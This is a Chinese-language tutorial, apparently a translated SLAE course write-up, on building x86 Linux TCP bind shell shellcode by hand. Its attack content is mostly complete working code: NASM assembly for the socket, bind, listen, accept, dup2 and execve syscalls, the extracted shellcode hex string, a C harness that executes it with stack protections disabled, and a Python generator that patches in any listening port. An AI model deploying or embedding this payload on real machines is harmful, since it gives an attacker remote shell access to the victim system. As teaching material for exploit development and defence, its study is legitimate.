如何编写基于Linux x86的TCP Bind Shell
导语:使用msfvenom命令可以创建绑定shell,要做的就是为msfvenom提供正确的输入和使用,它可以立即创建shellcode。本文将检查Shellcode进程,以深入制作tcp绑定shell,以分析编译x86 Linux shellocode所需的组件。
0x01 概述
使用msfvenom命令可以创建绑定shell,要做的就是为msfvenom提供正确的输入和使用,它可以立即创建shellcode。本文将检查Shellcode进程,以深入制作tcp绑定shell,以分析编译x86 Linux shellocode所需的组件。
第一部分创建具有以下属性的Shell_Bind_TCP Shellcode:
· 绑定到端口
· 在传入连接上执行Shell
第二部分要求创建脚本以使端口号易于配置。
绑定shell是一种shell,其中目标计算机在受害者计算机上打开通信端口或侦听器,并等待传入连接。然后,攻击者连接到受害机器的侦听器,该侦听器随后导致在服务器上执行代码或命令。
本文记录了使用以下命令获取有关tcp绑定shell所需的所有syscall的信息,linux内核,unistd.h header文件和man 2命令。还将使用《Unix网络编程》一书 ,这是基础知识,以学习某些系统调用中所需的子结构,通过这些信息,可以提取编写绑定shellcode所需的syscall:
· socket
· bind
· listen
· accept
· dup2 (3 times)
· execve
可以简单地复制汇编代码,但这不属于本文讨论范围,从学习linux syscalls开始,了解应该如何开发shellcode,完成分配需要什么,以及如何在汇编代码中转换syscall及其参数。
0x02 socket
可以通过在Linux内核中设置unistd_32 headers来搜索socketsyscall,然后查看socket syscall手册。
man 2 socket int socket(int domain, int type, int protocol);
socket接受了3个参数,现在还可以查看man手册以了解参数的作用。 int domain指定一个通信域,它指定了将用于通信的地址族(AF_xxxx)。 int type指定通信语义。 并非socket域和类型的所有组合都是有效的,需要一个TCP绑定shell,因此AF_INET必须是域和SOCKET_STREAM类型。
Syscall号必须放在EAX寄存器中,int domain应该是AF_INET,EBX寄存器中保存的值为2,int type应该为SOCK_STREAM,保存在ECX寄存器中的值为1,最后int protocol应该为0并放置在EDX寄存器中。
现在已经确定了socketsyscall参数,它们必须是什么值,必须将它们压入哪个寄存器,可以继续编写汇编代码。socketsyscall返回一个输出,该输出是指向socket本身的指针,并将存储在EAX寄存器中,因此,为了恢复指向该socket的指针以备将来使用,必须将其移至更安全的位置,例如EDI寄存器。
; Filename: bind_shell.nasm ; Author: SLAE-1476 ; twitter: @bolonobolo ; email: bolo@autistici.org / iambolo@protonmail.com global _start section .text _start: ; SOCKET ; xoring the registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov cl, 0x01 mov bl, 0x02 mov ax, 0x167 int 0x80 ; move the return value of socket from EAX to EDI mov edi, eax
好了,可以转到下一个系统调用。
0x03 bind
bind需要找到syscall的值并查阅手册页。
bind系统调用代码为361,十六进制为0x169。看一下man 2 bind
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
非常有趣,这里有一个数据结构sockaddr。
许多BSD网络系统调用都需要一个指向socket地址结构的指针作为参数。该结构的定义在sys / socket.h中
检查man 2 bind,看到这样sockaddr定义结构
struct sockaddr { sa_family_t sa_family; char sa_data[14]; }
协议特定地址的14个字节的内容根据地址的类型进行解释。已经在socket系统调用中选择了AF_INET类型, 因此由sockaddr_in结构定义地址族INtErneT 。检查man 7 ip并学习如何编译sockaddr_in结构
struct sockaddr_in { sa_family_t sin_family; /* address family: AF_INET */ in_port_t sin_port; /* port in network byte order */ struct in_addr sin_addr; /* internet address */ }; /* Internet address. */ struct in_addr { uint32_t sin_addr; /* address in network byte order */ char sin_zero; /* unused */ };
因此必须编译上述结构然后才能使用堆栈。现在,必须检查bindsyscall的需求以及放置在什么地址上。
必须保存在EAX中的syscall十六进制值(0x169),其次是指向存储在EDI中的socket的指针,移到EBX中,然后将sockaddr结构所需的所有值压入堆栈,然后将ESP值保存在ECX中,最后必须将IP的长度(16字节)存储在EDX寄存器中。 在进行组装之前,必须注意以下两点:
1. 因为处于小端环境中,所以必须以相反的顺序送sockaddr结构的值,因此 | 0 (unused char) | IP address (0.0.0.0 so 0) | port in network byte order | 0x02 (AF_INET value) |
2. 出于相同的原因,端口值与要存储的字节相反,如果端口为4444,十六进制为0x115c,则必须像0x5c11一样存储它。
编写程序:
; BIND ; move the lenght (16 bytes) of IP in EDX mov dl, 0x16 ; push sockaddr structure in the stack xor ecx, ecx push ecx ; unused char (0) push ecx ; ip address 0.0.0.0 push word 0x5c11 ; port 4444 push word 0x02 ; AF_INET family ; move the stack pointer to ECX mov ecx, esp ; move the socket pointer to EBX mov ebx, edi ; load the bind syscall value in EAX mov ax, 0x169 ; execute int 0x80
ok,移至下一个系统调用
0x04 listen
像往常一样,需要找到syscall的值并查阅手册页。
监听的系统调用代码为363,以十六进制0x16b表示,现在检查手册页。
这个系统调用不太有趣。为了使所有功能正常工作,必须将syscall十六进制值(0x16b)存储到EAX,接下来,应该将存储在EDI中的socket指针移动到EBX,并根据需要立即连接将ECX设置为0。 编写程序:
; LISTEN mov ebx, edi mov ax, 0x16b int 0x80
0x05 accept
接下来的syscall,需要找到syscall的值并查阅手册页。
peer和addrlen参数被用来返回连接对等处理(客户端)的地址。
peer,addrlen和flags可以设置为0。EAX包含系统调用十六进制值0x16c,EBX包含存储在EDI中的socket的指针值,最后一个ECX,EDX和ESI可以设置为0。
man 2 accept页
RETURN VALUE On success, these system calls return a nonnegative integer that is a descriptor for the accepted socket. On error, -1 is returned, and errno is set appropriately.
只需要注意以下概念:accept接受连接时,系统调用会返回一个值,该值存储在EAX寄存器中,并且在下一个系统调用中需要使用,因此必须将该值存储到另一个寄存器中,例如EDI 。 汇编代码:
; ACCEPT xor eax, eax xor ebx, ebx xor ecx, ecx xor esi, esi mov ax, 0x16c mov ebx, edi int 0x80 ; move the return value of accept from EAX to EDI xor edi, edi mov edi, eax
0x06 dup
需要找到syscall的值并查阅手册页。
dup()系统调用使用新描述符的编号最小的未使用描述符创建文件描述符oldfd的副本。另一个简单的系统调用,在EAX中,存储十六进制值63,0x3f,在EBX中,存储acceptsyscalll 接受的连接的地址,并保存在EDI寄存器中,最后在ECX中,必须保存所有可能的文件描述符的值,在在UNIX系统中,它们分别是stdin,stdout和stderr,其值分别为0、1和2。在这种情况下,必须使用循环对stdin,stdout和stderr执行dup2 syscall 3次。 这是汇编代码:
; DUP2 xor ebx, ebx xor ecx, ecx mov cl, 0x3 dup2: xor eax, eax mov ebx, edi mov al, 0x3f dec cl int 0x80 jnz dup2
0x07 execve
需要找到syscall的值并查阅手册页。
此syscall是最复杂的代码,因此将对其进行深入检查,以了解如何在汇编中转换syscall。
· EAX寄存器包含execvesyscall十六进制值(11或0xb)
· EBX寄存器包含指向filename应该执行的指针,在的例子中/bin//sh,用2个斜杠表示,因为希望将一个字符和(在这种情况下为8个)除以4,该字符串/bin//sh也将被还原,因为使用的是小端。
· ECX包含一个指向的指针,argv该指针是传递给新程序的参数字符串数组,在argv[0]的例子中是要执行的文件名的地址,
· EDX包含一个指向envp的指针,该指针是形式为key = value的字符串数组,将作为环境变量传递给新程序。
手册页还告诉所有3个参数都是指针,因为正在谈论的是指向字符串的指针,因此需要记住,所有参数都必须以NULL字符终止。本argv应包含filename的地址,但也必须添加一个NULL字符作为终止符,不需要envp那么EDX可以设置为0。可以使用堆栈,所有这些信息保存在结构相对寄存器,考虑到由于小字节序,必须在反向模式下工作。将使用stack方法执行execvesyscall。
; EXECVE ; int execve(const char *filename, char *const argv[], char *const envp[]); ; |_________|_____________________|___________________|___________________| ; EAX EBX ECX EDX ; put NULL bytes in the stack xor eax, eax push eax ; reverse "/bin//sh" ; hs// : 68732f2f ; nib/ : 6e69622f ; String length : 8 ; Hex length : 16 ; 68732f2f6e69622f push 0x68732f2f push 0x6e69622f mov ebx, esp ; push NULL in the EDX position push eax mov edx, esp ; push the /bin//sh address in the stack and then move it in ECX push ebx mov ecx, esp ; call the execve syscall mov al, 0xb int 0x80
现在将所有syscalls组装放在一起,然后尝试一下:
; Filename: bind_shell.nasm ; Author: SLAE-1476 ; twitter: @bolonobolo ; email: bolo@autistici.org / iambolo@protonmail.com global _start section .text _start: ; xoring the registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ; SOCKET() mov cl, 0x01 mov bl, 0x02 mov ax, 0x167 int 0x80 ; move the return value of socket from EAX to EDI mov edi, eax ; BIND() ; move the lenght (16 bytes) of IP in EDX ; push sockaddr structure in the stack xor ecx, ecx push ecx ; unused char (0) push ecx ; ip address 0.0.0.0 push word 0x5c11 ; port 4444 push word 0x02 ; AF_INET family ; move the stack pointer to ECX mov ecx, esp ; move the socket pointer to EBX mov ebx, edi ; load the bind syscall value in EAX xor eax, eax mov ax, 0x169 ; execute int 0x80 ; LISTEN() mov ebx, edi mov ax, 0x16b int 0x80 ; ACCEPT() xor eax, eax xor ebx, ebx xor ecx, ecx xor esi, esi mov ebx, edi mov ax, 0x16c int 0x80 ; move the return value of accept from EAX to EDI xor edi, edi mov edi, eax ; DUP2() xor ebx, ebx xor ecx, ecx mov cl, 0x3 dup2: xor eax, eax mov al, 0x3f mov ebx, edi dec cl int 0x80 jnz dup2 ; EXECVE() ; put NULL bytes in the stack xor eax, eax push eax ; reverse "/bin//sh" ; hs// : 68732f2f ; nib/ : 6e69622f ; String length : 8 ; Hex length : 16 ; 68732f2f6e69622f push 0x68732f2f push 0x6e69622f mov ebx, esp ; push NULL in the EDX position push eax mov edx, esp ; push the /bin//sh address in the stack and then move it in ECX push ebx mov ecx, esp ; call the execve syscall mov al, 0x0b int 0x80
编译nasm文件以获得二进制文件,然后执行它:
nasm -f elf32 -o bind_shell.o bind_shell.nasm ld -o bind_shell bind_shell.o
或者可以编译一个bash脚本以一次完成所有操作:
现在可以尝试二进制文件,./bind_shell启动命令,并与另一个Shell在端口4444上的127.0.0.1上启动netcat会话。nc -nv 127.0.0.1 4444
现在可以提取十六进制数从CommandLineFu提取的带有esotheric objdump命令的shellcode值。
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
获取十六进制字符串
root@slae32-lab:# objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x01\xb3\x02\x66\xb8\x67\x01\xcd\x80\x89\xc7\xb2\x16\x31\xc9\x51\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x89\xfb\x31\xc0\x66\xb8\x69\x01\xcd\x80\x89\xfb\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xf6\x89\xfb\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
现在,将shellcode复制到执行它的C程序中
#include #include unsigned char code[] = \ "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x01\xb3\x02\x66\xb8\x67\x01\xcd\x80\x89\xc7\xb2\x16\x31\xc9\x51\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x89\xfb\x31\xc0\x66\xb8\x69\x01\xcd\x80\x89\xfb\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xf6\x89\xfb\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; void main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
编译gcc并运行它,禁用堆栈保护器并添加execstack选项
gcc -fno-stack-protector -z execstack shellcode.c -o bind_shell
让看看它是否有效。
现在是时候在绑定shell运行时增加选择端口的功能了。可以编写一个Python Shellcode编译器,该编译器接受端口号作为参数。
#!/usr/bin/python import sys, socket def usage(): print("Usage: bind_shell_builder.py ") print("port must be between 1 and 65535 except range from 3330 to 3339") def port_wrapper(port): port = hex(socket.htons(int(port))) if len(str(port[4:6])) < 2: port = "\\x" + port[4:6] +"0" + "\\x" + port[2:4] elif len(str(port[2:4])) < 2: port = "\\x" + port[4:6] + "\\x" + port[2:4] + "0" else: port = "\\x" + port[4:6] + "\\x" + port[2:4] return port def main(): green = lambda text: '\033[0;32m' + text + '\033[0m' port = int(sys.argv[1]) if len(sys.argv) != 2: print("[-] You have to assign a port number!") usage() exit(0) if port < 1 or port > 65535: print("[-] This is not a valid port number!") usage() exit(0) ## check tech notes below for this if port >= 3330 and port <= 3339: print("[-] This port produces badchars!") usage() exit(0) if port <= 1024: print(green("[+] This port requires root privileges")) port = port_wrapper(sys.argv[1]) shellcode_first = "" shellcode_first += "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb1\\x01\\xb3\\x02\\x66" shellcode_first += "\\xb8\\x67\\x01\\xcd\\x80\\x89\\xc7\\xb2\\x16\\x31\\xc9\\x51\\x51\\x66\\x68" shellcode_second = "" shellcode_second += "\\x66\\x6a\\x02\\x89\\xe1\\x89\\xfb\\x31\\xc0\\x66\\xb8\\x69\\x01" shellcode_second += "\\xcd\\x80\\x89\\xfb\\x66\\xb8\\x6b\\x01\\xcd\\x80\\x31\\xc0\\x31\\xdb\\x31" shellcode_second += "\\xc9\\x31\\xf6\\x89\\xfb\\x66\\xb8\\x6c\\x01\\xcd\\x80\\x31\\xff\\x89\\xc7" shellcode_second += "\\x31\\xdb\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd" shellcode_second += "\\x80\\x75\\xf4\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69" shellcode_second += "\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"; print green("Port " + sys.argv[1] + " converted") print green("[*]" + port + "\n") print '"' + shellcode_first + green(port) + shellcode_second + '"' if __name__ == '__main__': main()
它以绿色打印端口号的十六进制大端字符串,并将其注入的shellcode中。
完成了:)
0x08 学习总结
NULL字节不是唯一不应该在的shellcode中插入的错误字符。坏字符列表为:
· 00 for NULL
· 0A for Line Feed \n
· 0D for Carriage Return \r
· FF for Form Feed \f
例如,如果在bind_shell_builder.py脚本中选择端口3333,则会在x0dshellcode中获得一个char,它不能正常工作。
将从3330到3339的所有端口号都遇到这个问题,因此可以在python shell编译器脚本中添加if语句,以某种多态替换端口号以解决问题,例如在这种情况下,在BINDsyscall中,可以将1111的值(以十六进制\ x04 \ x57形式)保存在寄存器中,将寄存器地址保存在堆栈中,然后将其值乘以3以获得原始的3333端口号,所有这些都在int 0x80调用之前。 这篇文章中使用的所有代码都可以在我的github repo中找到。
https://github.com/bolonobolo/SLAE32_code
发表评论